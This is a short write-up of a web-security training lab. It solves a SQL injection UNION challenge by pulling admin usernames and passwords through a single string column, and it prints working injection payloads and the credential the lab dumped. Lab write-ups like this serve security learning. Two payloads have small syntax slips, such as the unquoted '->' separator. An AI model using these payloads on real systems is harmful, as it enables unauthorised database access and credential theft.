
SQL injection UNION attack, retrieving multiple values in a single column

1. This lab contains a SQL injection vulnerability in the product category filter.
2. This lab is like the previous lab. But the previous lab returns two columns and both compatible with strings so I can select username and password at the same time. In this lab there is only one column compatible with strings.

3. So, the payload will be a little bit different. First, I try this payload to know what the admin name is:

```
category=Lifestyle' UNION SELECT NULL, username FROM users--
```

The admin username: **administrator**

4. Then, I inject this payload to get the admin password:

```
category=Lifestyle' UNION SELECT NULL, password FROM users WHERE  
username = 'administrator'
```

5. Another solution (instead of step 3 & 4): We can use concatenation to concatenate two returned values into one column:

```
category=Lifestyle' UNION SELECT NULL, username || -> || password FROM  
users --
```

administrator->b7d8ixo1zxkya6pm5l0m

6. I logged in successfully.

Congratulations, you solved the lab!

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Your username is: administrator

Email

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